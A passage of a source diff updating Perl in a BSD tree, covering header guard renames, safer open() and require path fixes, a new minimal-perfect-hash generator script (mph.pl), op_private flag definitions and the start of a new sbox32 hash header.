In fact numbers stored in the native integer format may be stored either
in the signed native form, or in the unsigned native form. Thus the limits
diff --git a/gnu/usr.bin/perl/pod/perlreguts.pod b/gnu/usr.bin/perl/pod/perlreguts.pod
index eac08f5d7a6..0eac156cdbf 100644
--- a/gnu/usr.bin/perl/pod/perlreguts.pod
+++ b/gnu/usr.bin/perl/pod/perlreguts.pod
@@ -693,7 +693,7 @@ simulated recursion.
C<re_intuit_start()> is responsible for handling start points and no-match
optimisations as determined by the results of the analysis done by
-C<study_chunk()> (and described in L<Peep-hole Optimisation and Analysis>).
+C<study_chunk()> (and described in L</Peep-hole Optimisation and Analysis>).
The basic structure of this routine is to try to find the start- and/or
end-points of where the pattern could match, and to ensure that the string
diff --git a/gnu/usr.bin/perl/pod/splitman b/gnu/usr.bin/perl/pod/splitman
index 9fe404a0610..325e1d96eee 100644
--- a/gnu/usr.bin/perl/pod/splitman
+++ b/gnu/usr.bin/perl/pod/splitman
@@ -14,7 +14,7 @@ while (<>) {
if (name($desc) ne $myname) {
$myname = name($desc);
print $myname, "\n";
- open(MAN, "> $myname.3pl");
+ open(MAN, '>', "$myname.3pl");
print MAN <<EOALL;
$header
.TH $myname 3PL "\\*(RP"
diff --git a/gnu/usr.bin/perl/reentr.h b/gnu/usr.bin/perl/reentr.h
index c268851922c..6d085aa7dd4 100644
--- a/gnu/usr.bin/perl/reentr.h
+++ b/gnu/usr.bin/perl/reentr.h
@@ -12,8 +12,8 @@
* Any changes made here will be lost!
*/
-#ifndef REENTR_H
-#define REENTR_H
+#ifndef PERL_REENTR_H_
+#define PERL_REENTR_H_
/* If compiling for a threaded perl, we will macro-wrap the system/library
* interfaces (e.g. getpwent()) which have threaded versions
@@ -23,7 +23,7 @@
*/
#ifndef PERL_REENTR_API
-# if defined(PERL_CORE) || defined(PERL_EXT)
+# if defined(PERL_CORE) || defined(PERL_EXT) || defined(PERL_REENTRANT)
# define PERL_REENTR_API 1
# else
# define PERL_REENTR_API 0
@@ -56,6 +56,11 @@
# define NETDB_R_OBSOLETE
#endif
+#if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 24))
+# undef HAS_READDIR_R
+# undef HAS_READDIR64_R
+#endif
+
/*
* As of OpenBSD 3.7, reentrant functions are now working, they just are
* incompatible with everyone else. To make OpenBSD happy, we have to
diff --git a/gnu/usr.bin/perl/regen.pl b/gnu/usr.bin/perl/regen.pl
index 878866835ee..71a6eda60a8 100644
--- a/gnu/usr.bin/perl/regen.pl
+++ b/gnu/usr.bin/perl/regen.pl
@@ -15,7 +15,7 @@ use strict;
my $tap = $ARGV[0] && $ARGV[0] eq '--tap' ? '# ' : '';
foreach my $pl (map {chomp; "regen/$_"} <DATA>) {
- my @command = ($^X, $pl, @ARGV);
+ my @command = ($^X, '-I.', $pl, @ARGV);
print "$tap@command\n";
system @command
and die "@command failed: $?"
diff --git a/gnu/usr.bin/perl/regen/ebcdic.pl b/gnu/usr.bin/perl/regen/ebcdic.pl
index fa8a051dfc3..5fd4ecda148 100644
--- a/gnu/usr.bin/perl/regen/ebcdic.pl
+++ b/gnu/usr.bin/perl/regen/ebcdic.pl
@@ -1,8 +1,11 @@
use v5.16.0;
use strict;
use warnings;
-require 'regen/regen_lib.pl';
-require 'regen/charset_translations.pl';
+
+BEGIN { unshift @INC, '.' }
+
+require './regen/regen_lib.pl';
+require './regen/charset_translations.pl';
# Generates the EBCDIC translation tables that were formerly hard-coded into
# utfebcdic.h
@@ -43,8 +46,8 @@ sub output_table ($$;$) {
print $out_fh <<END;
-#ifndef H_EBCDIC_TABLES /* Guard against nested #includes */
-#define H_EBCDIC_TABLES 1
+#ifndef PERL_EBCDIC_TABLES_H_ /* Guard against nested #includes */
+#define PERL_EBCDIC_TABLES_H_ 1
/* This file contains definitions for various tables used in EBCDIC handling.
* More info is in utfebcdic.h */
@@ -219,6 +222,6 @@ END
print $out_fh get_conditional_compile_line_end();
}
-print $out_fh "\n#endif /* H_EBCDIC_TABLES */\n";
+print $out_fh "\n#endif /* PERL_EBCDIC_TABLES_H_ */\n";
read_only_bottom_close_and_rename($out_fh);
diff --git a/gnu/usr.bin/perl/regen/miniperlmain.pl b/gnu/usr.bin/perl/regen/miniperlmain.pl
index 9123b3f71b2..37a3fffc532 100644
--- a/gnu/usr.bin/perl/regen/miniperlmain.pl
+++ b/gnu/usr.bin/perl/regen/miniperlmain.pl
@@ -4,7 +4,7 @@ use strict;
BEGIN {
# Get function prototypes
- require 'regen/regen_lib.pl';
+ require './regen/regen_lib.pl';
unshift @INC, 'ext/ExtUtils-Miniperl/lib';
}
diff --git a/gnu/usr.bin/perl/regen/mph.pl b/gnu/usr.bin/perl/regen/mph.pl
new file mode 100644
index 00000000000..e0c84fbfabd
--- /dev/null
+++ b/gnu/usr.bin/perl/regen/mph.pl
@@ -0,0 +1,491 @@
+package MinimalPerfectHash;
+use strict;
+use warnings;
+use Data::Dumper;
+use Carp;
+use Text::Wrap;
+
+my $DEBUG= 0;
+my $RSHIFT= 8;
+my $FNV_CONST= 16777619;
+
+sub _fnv {
+ my ($key, $seed)= @_;
+
+ my $hash = 0+$seed;
+ foreach my $char (split //, $key) {
+ $hash = $hash ^ ord($char);
+ $hash = ($hash * $FNV_CONST) & 0xFFFFFFFF;
+ }
+ return $hash;
+}
+
+sub build_perfect_hash {
+ my ($hash, $split_pos)= @_;
+
+ my $n= 0+keys %$hash;
+ my $max_h= 0xFFFFFFFF;
+ $max_h -= $max_h % $n; # this just avoids a tiny bit bias
+ my $seed1= unpack("N", "Perl") - 1;
+ my $hash_to_key;
+ my $key_to_hash;
+ my $length_all_keys;
+ my $key_buckets;
+ SEED1:
+ for ($seed1++;1;$seed1++) {
+ my %hash_to_key;
+ my %key_to_hash;
+ my %key_buckets;
+ my %high;
+ $length_all_keys= 0;
+ foreach my $key (sort keys %$hash) {
+ $length_all_keys += length $key;
+ my $h= _fnv($key,$seed1);
+ next SEED1 if $h >= $max_h; # check if this hash would bias, and if so find a new seed
+ next SEED1 if exists $hash_to_key{$h};
+ next SEED1 if $high{$h >> $RSHIFT}++;
+ $hash_to_key{$h}= $key;
+ $key_to_hash{$key}= $h;
+ push @{$key_buckets{$h % $n}}, $key;
+ }
+ $hash_to_key= \%hash_to_key;
+ $key_to_hash= \%key_to_hash;
+ $key_buckets= \%key_buckets;
+ last SEED1;
+ }
+
+ my %token;
+ my @first_level;
+ my @second_level;
+ foreach my $first_idx (sort { @{$key_buckets->{$b}} <=> @{$key_buckets->{$a}} || $a <=> $b } keys %$key_buckets) {
+ my $keys= $key_buckets->{$first_idx};
+ #printf "got %d keys in bucket %d\n", 0+@$keys, $first_idx;
+ my $seed2;
+ SEED2:
+ for ($seed2=1;1;$seed2++) {
+ goto FIND_SEED if $seed2 > 0xFFFF;
+ my @idx= map {
+ ( ( ( $key_to_hash->{$_} >> $RSHIFT ) ^ $seed2 ) & 0xFFFFFFFF ) % $n
+ } @$keys;
+ my %seen;
+ next SEED2 if grep { $second_level[$_] || $seen{$_}++ } @idx;
+ $first_level[$first_idx]= $seed2;
+ @second_level[@idx]= map {
+ my $sp= $split_pos->{$_} // die "no split pos for '$_':$!";
+ my ($prefix,$suffix)= unpack "A${sp}A*", $_;
+
+ +{
+ key => $_,
+ prefix => $prefix,
+ suffix => $suffix,
+ hash => $key_to_hash->{$_},
+ value => $hash->{$_},
+ seed2 => 0,
+ }
+ } @$keys;
+ last;
+ }
+
+ }
+ $second_level[$_]{seed2}= $first_level[$_]||0, $second_level[$_]{idx}= $_ for 0 .. $#second_level;
+
+ return $seed1, \@second_level, $length_all_keys;
+}
+
+sub build_split_words {
+ my ($hash, $preprocess, $blob, $old_res)= @_;
+ my %appended;
+ $blob //= "";
+ if ($preprocess) {
+ my %parts;
+ foreach my $key (sort {length($b) <=> length($a) || $a cmp $b } keys %$hash) {
+ my ($prefix,$suffix);
+ if ($key=~/^([^=]+=)([^=]+)\z/) {
+ ($prefix,$suffix)= ($1, $2);
+ $parts{$suffix}++;
+ #$parts{$prefix}++;
+ } else {
+ $prefix= $key;
+ $parts{$prefix}++;
+ }
+
+ }
+ foreach my $key (sort {length($b) <=> length($a) || $a cmp $b } keys %parts) {
+ $blob .= $key . "\0";
+ }
+ printf "Using preprocessing, initial blob size %d\n", length($blob);
+ } else {
+ printf "No preprocessing, initial blob size %d\n", length($blob);
+ }
+ my %res;
+
+ REDO:
+ %res= ();
+ KEY:
+ foreach my $key (
+ sort {
+ (length($b) <=> length($a)) ||
+ ($a cmp $b)
+ }
+ keys %$hash
+ ) {
+ next if exists $res{$key};
+ if (index($blob,$key) >= 0 ) {
+ my $idx= length($key);
+ if ($DEBUG and $old_res and $old_res->{$key} != $idx) {
+ print "changing: $key => $old_res->{$key} : $idx\n";
+ }
+ $res{$key}= $idx;
+ next KEY;
+ }
+ my $best= length($key);
+ my $append= $key;
+ my $min= 0; #length $key >= 4 ? 4 : 0;
+ my $best_prefix;
+ my $best_suffix;
+ foreach my $idx (reverse $min .. length($key)) {
+ my $prefix= substr($key,0,$idx);
+ my $suffix= substr($key,$idx);
+ my $i1= index($blob,$prefix)>=0;
+ my $i2= index($blob,$suffix)>=0;
+ if ($i1 and $i2) {
+ if ($DEBUG and $old_res and $old_res->{$key} != $idx) {
+ print "changing: $key => $old_res->{$key} : $idx\n";
+ }
+ $res{$key}= $idx;
+ $appended{$prefix}++;
+ $appended{$suffix}++;
+ next KEY;
+ } elsif ($i1) {
+ if (length $suffix <= length $append) {
+ $best= $idx;
+ $append= $suffix;
+ $best_prefix= $prefix;
+ $best_suffix= $suffix;
+ }
+ } elsif ($i2) {
+ if (length $prefix <= length $append) {
+ $best= $idx;
+ $append= $prefix;
+ $best_prefix= $prefix;
+ $best_suffix= $suffix;
+ }
+ }
+ }
+ if ($DEBUG and $old_res and $old_res->{$key} != $best) {
+ print "changing: $key => $old_res->{$key} : $best\n";
+ }
+ #print "$best_prefix|$best_suffix => $best => $append\n";
+ $res{$key}= $best;
+ $blob .= $append;
+ $appended{$best_prefix}++;
+ $appended{$best_suffix}++;
+ }
+ my $b2 = "";
+ foreach my $key (sort { length($b) <=> length($a) || $a cmp $b } keys %appended) {
+ $b2 .= $key unless index($b2,$key)>=0;
+ }
+ if (length($b2)<length($blob)) {
+ printf "Length old blob: %d length new blob: %d, recomputing using new blob\n", length($blob),length($b2);
+ $blob= $b2;
+ %appended=();
+ goto REDO;
+ } else {
+ printf "Length old blob: %d length new blob: %d, keeping old blob\n", length($blob),length($b2);
+ }
+ die sprintf "not same size? %d != %d", 0+keys %res, 0+keys %$hash unless keys %res == keys %$hash;
+ return ($blob,\%res);
+}
+
+
+sub blob_as_code {
+ my ($blob,$blob_name)= @_;
+
+ $blob_name ||= "mph_blob";
+
+ # output the blob as C code.
+ my @code= (sprintf "STATIC const unsigned char %s[] =\n",$blob_name);
+ my $blob_len= length $blob;
+ while (length($blob)) {
+ push @code, sprintf qq( "%s"), substr($blob,0,65,"");
+ push @code, length $blob ? "\n" : ";\n";
+ }
+ push @code, "/* $blob_name length: $blob_len */\n";
+ return join "",@code;
+}
+
+sub print_includes {
+ my $ofh= shift;
+ print $ofh "#include <stdio.h>\n";
+ print $ofh "#include <string.h>\n";
+ print $ofh "#include <stdint.h>\n";
+ print $ofh "\n";
+}
+
+sub print_defines {
+ my ($ofh,$defines)= @_;
+
+ my $key_len;
+ foreach my $def (keys %$defines) {
+ $key_len //= length $def;
+ $key_len= length $def if $key_len < length $def;
+ }
+ foreach my $def (sort keys %$defines) {
+ printf $ofh "#define %*s %5d\n", -$key_len, $def, $defines->{$def};
+ }
+ print $ofh "\n";
+}
+
+
+sub build_array_of_struct {
+ my ($second_level,$blob)= @_;
+
+ my %defines;
+ my %tests;
+ my @rows;
+ foreach my $row (@$second_level) {
+ $defines{$row->{value}}= $row->{idx}+1;
+ $tests{$row->{key}}= $defines{$row->{value}};
+ my @u16= (
+ $row->{seed2},
+ index($blob,$row->{prefix}//0),
+ index($blob,$row->{suffix}//0),
+ );
+ $_ > 0xFFFF and die "panic: value exceeds range of U16"
+ for @u16;
+ my @u8= (
+ length($row->{prefix}),
+ length($row->{suffix}),
+ );
+ $_ > 0xFF and die "panic: value exceeds range of U8"
+ for @u8;
+ push @rows, sprintf(" { %5d, %5d, %5d, %3d, %3d, %s } /* %s%s */",
+ @u16, @u8, $row->{value}, $row->{prefix}, $row->{suffix});
+ }
+ return \@rows,\%defines,\%tests;
+}
+
+sub make_algo {
+ my ($second_level, $seed1, $length_all_keys, $smart_blob, $rows,
+ $blob_name, $struct_name, $table_name, $match_name, $prefix) = @_;
+
+ $blob_name ||= "mph_blob";
+ $struct_name ||= "mph_struct";
+ $table_name ||= "mph_table";
+ $prefix ||= "MPH";
+
+ my $n= 0+@$second_level;
+ my $data_size= 0+@$second_level * 8 + length $smart_blob;
+
+ my @code = "#define ${prefix}_VALt I16\n\n";
+ push @code, "/*\n";
+ push @code, sprintf "rows: %s\n", $n;
+ push @code, sprintf "seed: %s\n", $seed1;
+ push @code, sprintf "full length of keys: %d\n", $length_all_keys;
+ push @code, sprintf "blob length: %d\n", length $smart_blob;
+ push @code, sprintf "ref length: %d\n", 0+@$second_level * 8;
+ push @code, sprintf "data size: %d (%%%.2f)\n", $data_size, ($data_size / $length_all_keys) * 100;
+ push @code, "*/\n\n";
+
+ push @code, blob_as_code($smart_blob, $blob_name);
+ push @code, <<"EOF_CODE";
+
+struct $struct_name {
+ U16 seed2;
+ U16 pfx;
+ U16 sfx;
+ U8 pfx_len;
+ U8 sfx_len;
+ ${prefix}_VALt value;
+};
+
+EOF_CODE
+
+ push @code, "#define ${prefix}_RSHIFT $RSHIFT\n";
+ push @code, "#define ${prefix}_BUCKETS $n\n\n";
+ push @code, sprintf "STATIC const U32 ${prefix}_SEED1 = 0x%08x;\n", $seed1;
+ push @code, sprintf "STATIC const U32 ${prefix}_FNV_CONST = 0x%08x;\n\n", $FNV_CONST;
+
+ push @code, "\n";
+ push @code, "STATIC const struct $struct_name $table_name\[${prefix}_BUCKETS] = {\n", join(",\n", @$rows)."\n};\n\n";
+ push @code, <<"EOF_CODE";
+${prefix}_VALt $match_name( const unsigned char * const key, const U16 key_len ) {
+ const unsigned char * ptr= key;
+ const unsigned char * ptr_end= key + key_len;
+ U32 h= ${prefix}_SEED1;
+ U32 s;
+ U32 n;
+ do {
+ h ^= *ptr;
+ h *= ${prefix}_FNV_CONST;
+ } while ( ++ptr < ptr_end );
+ n= h % ${prefix}_BUCKETS;
+ s = $table_name\[n].seed2;
+ if (s) {
+ h= (h >> ${prefix}_RSHIFT) ^ s;
+ n = h % ${prefix}_BUCKETS;
+ if (
+ ( $table_name\[n].pfx_len + $table_name\[n].sfx_len == key_len ) &&
+ ( memcmp($blob_name + $table_name\[n].pfx, key, $table_name\[n].pfx_len) == 0 ) &&
+ ( !$table_name\[n].sfx_len || memcmp($blob_name + $table_name\[n].sfx,
+ key + $table_name\[n].pfx_len, $table_name\[n].sfx_len) == 0 )
+ ) {
+ return $table_name\[n].value;
+ }
+ }
+ return 0;
+}
+EOF_CODE
+
+ return join "", @code;
+}
+
+sub print_algo {
+ my ($ofh, $second_level, $seed1, $long_blob, $smart_blob, $rows,
+ $blob_name, $struct_name, $table_name, $match_name ) = @_;
+
+ if (!ref $ofh) {
+ my $file= $ofh;
+ undef $ofh;
+ open $ofh, ">", $file
+ or die "Failed to open '$file': $!";
+ }
+
+ my $code = make_algo(
+ $second_level, $seed1, $long_blob, $smart_blob, $rows,
+ $blob_name, $struct_name, $table_name, $match_name );
+ print $ofh $code;
+}
+
+sub print_main {
+ my ($ofh,$h_file,$match_name,$prefix)=@_;
+ print $ofh <<"EOF_CODE";
+#include "$h_file"
+
+int main(int argc, char *argv[]){
+ int i;
+ for (i=1; i<argc; i++) {
+ unsigned char *key = (unsigned char *)argv[i];
+ int key_len = strlen(argv[i]);
+ printf("key: %s got: %d\\n", key, $match_name((unsigned char *)key,key_len));
+ }
+ return 0;
+}
+EOF_CODE
+}
+
+# output the test Perl code.
+sub print_tests {
+ my ($file, $tests_hash)= @_;
+ open my $ofh, ">", $file
+ or die "Failed to open '$file' for writing: $!";
+ my $num_tests= 2 + keys %$tests_hash;
+ print $ofh "use strict;\nuse warnings;\nuse Test::More tests => $num_tests;\nmy \@res;";
+ my $bytes= 0;
+ my @tests= sort keys %$tests_hash;
+ print $ofh "\@res=`./mph_test '$tests[0]/should-not-match' 'should-not-match/$tests[0]'`;\n";
+ print $ofh "ok( \$res[0] =~ /got: 0/,'proper prefix does not match');\n";
+ print $ofh "ok( \$res[1] =~ /got: 0/,'proper suffix does not match');\n";
+ while (@tests) {
+ my @batch= splice @tests,0,10;
+ my $batch_args= join " ", map { "'$_'" } @batch;
+ print $ofh "\@res=`./mph_test $batch_args`;\n";
+ foreach my $i (0..$#batch) {
+ my $key= $batch[$i];
+ my $want= $tests_hash->{$key};
+ print $ofh "ok(\$res[$i]=~/got: (\\d+)/ && \$1 == $want, '$key');\n";
+ }
+ }
+ close $ofh;
+}
+
+sub print_test_binary {
+ my ($file,$h_file, $second_level, $seed1, $length_all_keys,
+ $smart_blob, $rows, $defines, $match_name, $prefix)= @_;
+ open my $ofh, ">", $file
+ or die "Failed to open '$file': $!";
+ print_includes($ofh);
+ print_defines($ofh, $defines);
+ print_main($ofh,$h_file,$match_name,$prefix);
+ close $ofh;
+}
+
+sub make_mph_from_hash {
+ my $hash= shift;
+
+ # we do this twice because often we can find longer prefixes on the second pass.
+ my @keys= sort {length($b) <=> length($a) || $a cmp $b } keys %$hash;
+
+ my ($smart_blob, $res_to_split)= build_split_words($hash,0);
+ {
+ my ($smart_blob2, $res_to_split2)= build_split_words($hash,1);
+ if (length($smart_blob) > length($smart_blob2)) {
+ printf "Using preprocess-smart blob, length: %d (vs %d)\n", length $smart_blob2, length $smart_blob;
+ $smart_blob= $smart_blob2;
+ $res_to_split= $res_to_split2;
+ } else {
+ printf "Using greedy-smart blob, length: %d (vs %d)\n", length $smart_blob, length $smart_blob2;
+ }
+ }
+ my ($seed1, $second_level, $length_all_keys)= build_perfect_hash($hash, $res_to_split);
+ my ($rows, $defines, $tests)= build_array_of_struct($second_level, $smart_blob);
+ return ($second_level, $seed1, $length_all_keys, $smart_blob, $rows, $defines, $tests);
+}
+
+sub make_files {
+ my ($hash,$base_name)= @_;
+
+ my $h_name= $base_name . "_algo.h";
+ my $c_name= $base_name . "_test.c";
+ my $p_name= $base_name . "_test.pl";
+ my $blob_name= $base_name . "_blob";
+ my $struct_name= $base_name . "_bucket_info";
+ my $table_name= $base_name . "_table";
+ my $match_name= $base_name . "_match";
+ my $prefix= uc($base_name);
+
+ my ($second_level, $seed1, $length_all_keys,
+ $smart_blob, $rows, $defines, $tests)= make_mph_from_hash( $hash );
+ print_algo( $h_name,
+ $second_level, $seed1, $length_all_keys, $smart_blob, $rows,
+ $blob_name, $struct_name, $table_name, $match_name, $prefix );
+ print_test_binary( $c_name, $h_name, $second_level, $seed1, $length_all_keys,
+ $smart_blob, $rows, $defines,
+ $match_name, $prefix );
+ print_tests( $p_name, $tests );
+}
+
+unless (caller) {
+ my %hash;
+ {
+ no warnings;
+ do "../perl/lib/unicore/Heavy.pl";
+ %hash= %utf8::loose_to_file_of;
+ }
+ if ($ENV{MERGE_KEYS}) {
+ my @keys= keys %hash;
+ foreach my $loose (keys %utf8::loose_property_name_of) {
+ my $to= $utf8::loose_property_name_of{$loose};
+ next if $to eq $loose;
+ foreach my $key (@keys) {
+ my $copy= $key;
+ if ($copy=~s/^\Q$to\E(=|\z)/$loose$1/) {
+ #print "$key => $copy\n";
+ $hash{$copy}= $key;
+ }
+ }
+ }
+ }
+ foreach my $key (keys %hash) {
+ my $munged= uc($key);
+ $munged=~s/\W/__/g;
+ $hash{$key} = $munged;
+ }
+
+ my $name= shift @ARGV;
+ $name ||= "mph";
+ make_files(\%hash,$name);
+}
+
+1;
+__END__
diff --git a/gnu/usr.bin/perl/regen/op_private b/gnu/usr.bin/perl/regen/op_private
index a7f569e38e9..a94c0c38c08 100644
--- a/gnu/usr.bin/perl/regen/op_private
+++ b/gnu/usr.bin/perl/regen/op_private
@@ -198,7 +198,8 @@ use strict;
# find which ops use 0,1,2,3 or 4 bits of op_private for arg count info
- $args0{$_} = 1 for qw(entersub); # UNOPs that usurp bit 0
+ $args0{$_} = 1 for qw(entersub avhvswitch
+ rv2hv); # UNOPs that usurp bit 0
$args1{$_} = 1 for (
qw(reverse), # ck_fun(), but most bits stolen
@@ -219,9 +220,6 @@ use strict;
qw(vec),
grep !$maxarg{$_} && !$args0{$_} && !$args1{$_},
ops_with_flag('2'), # BINOP
- # this is a binop, but special-cased as a
- # baseop in regen/opcodes
- 'sassign',
);
$args3{$_} = 1 for grep !$maxarg{$_} && !$args0{$_}
@@ -300,9 +298,10 @@ for (qw(nextstate dbstate)) {
# my $x
addbits($_, 7 => qw(OPpLVAL_INTRO LVINTRO))
- for qw(gvsv rv2sv rv2hv rv2gv rv2av aelem helem aslice
+ for qw(gvsv rv2sv rv2hv rv2gv rv2av aelem helem aslice split
hslice delete padsv padav padhv enteriter entersub padrange
- pushmark cond_expr refassign lvref lvrefslice lvavref multideref),
+ pushmark cond_expr refassign lvref lvrefslice lvavref multideref
+ multiconcat),
'list', # this gets set in my_attrs() for some reason
;
@@ -396,12 +395,6 @@ addbits($_, 7 => qw(OPpLVALUE LV)) for qw(leave leaveloop);
-# Pattern coming in on the stack
-addbits($_, 6 => qw(OPpRUNTIME RTIME))
- for qw(match subst substcont qr pushre);
-
-
-
# autovivify: Want ref to something
for (qw(rv2gv rv2sv padsv aelem helem entersub)) {
addbits($_, '4..5' => {
@@ -435,19 +428,28 @@ addbits($_, 6 => qw(OPpOUR_INTRO OURINTR)) # Variable was in an our()
# We might be an lvalue to return
+# 'values' doesn't actually use this bit, but we reserve it here as
+# pp_values may call Perl_do_kv() which is shared among several ops which
+# do.
+
addbits($_, 3 => qw(OPpMAYBE_LVSUB LVSUB))
for qw(aassign rv2av rv2gv rv2hv padav padhv aelem helem aslice hslice
- av2arylen keys kvaslice kvhslice substr pos vec multideref);
+ av2arylen keys akeys avhvswitch kvaslice kvhslice substr pos vec
+ multideref values);
-for (qw(rv2hv padhv)) {
+for (qw(rv2hv padhv ref)) {
addbits($_, # e.g. %hash in (%hash || $foo) ...
- 4 => qw(OPpMAYBE_TRUEBOOL BOOL?), # ... cx not known till run time
- 5 => qw(OPpTRUEBOOL BOOL), # ... in void cxt
+ 4 => qw(OPpMAYBE_TRUEBOOL BOOL?), # but cx not known till run time
+ 5 => qw(OPpTRUEBOOL BOOL),
+ );
+}
+for (qw(grepwhile index length padav pos rindex rv2av subst)) {
+ addbits($_,
+ 5 => qw(OPpTRUEBOOL BOOL), # if (@a) {...}
);
}
-
addbits($_, 1 => qw(OPpHINT_STRICT_REFS STRICT))
@@ -496,6 +498,7 @@ addbits('aassign', 5 => qw(OPpASSIGN_COMMON_RC1 COM_RC1));
# run-time checking is required for an aggregate on the LHS
addbits('aassign', 4 => qw(OPpASSIGN_COMMON_AGG COM_AGG));
+addbits('aassign', 2 => qw(OPpASSIGN_TRUEBOOL BOOL)); # if (@a = (...)) {...}
# NB: both sassign and aassign use the 'OPpASSIGN' naming convention
@@ -510,14 +513,15 @@ addbits('sassign',
for (qw(trans transr)) {
addbits($_,
- 0 => qw(OPpTRANS_FROM_UTF <UTF),
- 1 => qw(OPpTRANS_TO_UTF >UTF),
+ 0 => qw(OPpTRANS_FROM_UTF <UTF), # search chars are utf8
+ 1 => qw(OPpTRANS_TO_UTF >UTF), # replacement chars are utf8
2 => qw(OPpTRANS_IDENTICAL IDENT), # right side is same as left
- 3 => qw(OPpTRANS_SQUASH SQUASH),
+ 3 => qw(OPpTRANS_SQUASH SQUASH), # /s
# 4 is used for OPpTARGET_MY
- 5 => qw(OPpTRANS_COMPLEMENT COMPL),
- 6 => qw(OPpTRANS_GROWS GROWS),
- 7 => qw(OPpTRANS_DELETE DEL),
+ 5 => qw(OPpTRANS_COMPLEMENT COMPL), # /c
+ 6 => qw(OPpTRANS_GROWS GROWS), # replacement chars longer than
+ # src chars
+ 7 => qw(OPpTRANS_DELETE DEL), # /d
);
}
@@ -592,7 +596,7 @@ addbits('substr', 4 => qw(OPpSUBSTR_REPL_FIRST REPL1ST));
addbits('padrange',
# bits 0..6 hold target range
'0..6' => {
- label => '-',
+ label => 'range',
mask_def => 'OPpPADRANGE_COUNTMASK',
bitcount_def => 'OPpPADRANGE_COUNTSHIFT',
}
@@ -604,7 +608,7 @@ addbits('padrange',
for (qw(aelemfast aelemfast_lex)) {
addbits($_,
'0..7' => {
- label => '-',
+ label => 'key',
}
);
}
@@ -649,9 +653,11 @@ addbits('list', 6 => qw(OPpLIST_GUESSED GUESSED));
-# Operating on a list of keys
-addbits('delete', 6 => qw(OPpSLICE SLICE));
-# also 7 => OPpLVAL_INTRO, already defined above
+addbits('delete',
+ 5 => qw(OPpKVSLICE KVSLICE), # Operating on a list of key/value pairs
+ 6 => qw(OPpSLICE SLICE ), # Operating on a list of keys
+ #7 => OPpLVAL_INTRO, already defined above
+);
@@ -666,8 +672,8 @@ addbits('sort',
2 => qw(OPpSORT_REVERSE REV ), # Reversed sort
3 => qw(OPpSORT_INPLACE INPLACE), # sort in-place; eg @a = sort @a
4 => qw(OPpSORT_DESCEND DESC ), # Descending sort
- 5 => qw(OPpSORT_QSORT QSORT ), # Use quicksort (not mergesort)
6 => qw(OPpSORT_STABLE STABLE ), # Use a stable algorithm
+ 7 => qw(OPpSORT_UNSTABLE UNSTABLE),# Use an unstable algorithm
);
@@ -730,8 +736,13 @@ addbits('coreargs',
-addbits('split', 7 => qw(OPpSPLIT_IMPLIM IMPLIM)); # implicit limit
-
+addbits('split',
+ # @a = split() has been replaced with split() where split itself
+ # does the array assign
+ 4 => qw(OPpSPLIT_ASSIGN ASSIGN),
+ 3 => qw(OPpSPLIT_LEX LEX), # the OPpSPLIT_ASSIGN is a lexical array
+ 2 => qw(OPpSPLIT_IMPLIM IMPLIM), # implicit limit
+);
addbits($_,
@@ -757,6 +768,67 @@ addbits('multideref',
5 => qw(OPpMULTIDEREF_DELETE DELETE), # deref is actually delete
);
+
+
+addbits('avhvswitch',
+ '0..1' => {
+ mask_def => 'OPpAVHVSWITCH_MASK',
+ label => 'offset',
+ }
+);
+
+
+addbits('argelem',
+ '1..2' => {
+ mask_def => 'OPpARGELEM_MASK',
+ enum => [ qw(
+ 0 OPpARGELEM_SV SV
+ 1 OPpARGELEM_AV AV
+ 2 OPpARGELEM_HV HV
+ )],
+ },
+);
+
+
+# rv2hv and padhv in void/scalar context implementing 'keys %h'
+# directly, without a following OP_KEYS
+
+addbits('padhv',
+ 0 => qw(OPpPADHV_ISKEYS KEYS),
+);
+addbits('rv2hv',
+ 0 => qw(OPpRV2HV_ISKEYS KEYS),
+);
+
+# In conjunction with OPpTRUEBOOL, indicates that the test should be
+# inverted. This allows both (index() == -1) and (index() != -1)
+# to optimise away the const and eq/ne
+
+for (qw(index rindex)) {
+ addbits($_, 6 => qw(OPpINDEX_BOOLNEG NEG));
+}
+
+
+addbits('concat',
+ # OPf_STACKED normally indicates .=; but it also gets set to optimise
+ # $a . $b . $c into ($a . $b) .= $c
+ # so that the first concat's PADTMP (which holds the result of $a.$b)
+ # can be reused. Set a flag in this case to help deparse and warn
+ # distinguish the cases.
+ 6 => qw(OPpCONCAT_NESTED NESTED),
+);
+
+
+addbits('multiconcat',
+ # 7 OPpLVAL_INTRO
+ 6 => qw(OPpMULTICONCAT_APPEND APPEND), # $x .= ....
+ 5 => qw(OPpMULTICONCAT_FAKE FAKE), # sprintf() optimised to MC.
+ # 4 OPpTARGET_MY
+ 3 => qw(OPpMULTICONCAT_STRINGIFY STRINGIFY), # "$a$b..."
+);
+
+
+
1;
# ex: set ts=8 sts=4 sw=4 et:
diff --git a/gnu/usr.bin/perl/regen/uconfig_h.pl b/gnu/usr.bin/perl/regen/uconfig_h.pl
index 99a74f19458..1c3d1b28c36 100644
--- a/gnu/usr.bin/perl/regen/uconfig_h.pl
+++ b/gnu/usr.bin/perl/regen/uconfig_h.pl
@@ -10,7 +10,7 @@
use strict;
use Config;
-require 'regen/regen_lib.pl';
+require './regen/regen_lib.pl';
my ($uconfig_h, $uconfig_h_new, $config_h_sh)
= ('uconfig.h', 'uconfig.h-new', 'config_h.SH');
diff --git a/gnu/usr.bin/perl/sbox32_hash.h b/gnu/usr.bin/perl/sbox32_hash.h
new file mode 100644
index 00000000000..766102f32a7
--- /dev/null
+++ b/gnu/usr.bin/perl/sbox32_hash.h
@@ -0,0 +1,1783 @@
+#ifndef DEBUG_SBOX32_HASH
+#define DEBUG_SBOX32_HASH 0
+
+#include "zaphod32_hash.h"
+
+#if DEBUG_SBOX32_HASH == 1
+#include <stdio.h>
+#define SBOX32_WARN6(pat,v0,v1,v2,v3,v4,v5) printf(pat, v0, v1, v2, v3, v4, v5)
+#define SBOX32_WARN5(pat,v0,v1,v2,v3,v4) printf(pat, v0, v1, v2, v3, v4)
+#define SBOX32_WARN4(pat,v0,v1,v2,v3) printf(pat, v0, v1, v2, v3)
+#define SBOX32_WARN3(pat,v0,v1,v2) printf(pat, v0, v1, v2)
+#define SBOX32_WARN2(pat,v0,v1) printf(pat, v0, v1)
+#define NOTE3(pat,v0,v1,v2) printf(pat, v0, v1, v2)
+#elif DEBUG_SBOX32_HASH == 2
+#define SBOX32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define SBOX32_WARN5(pat,v0,v1,v2,v3,v4)
+#define SBOX32_WARN4(pat,v0,v1,v2,v3)
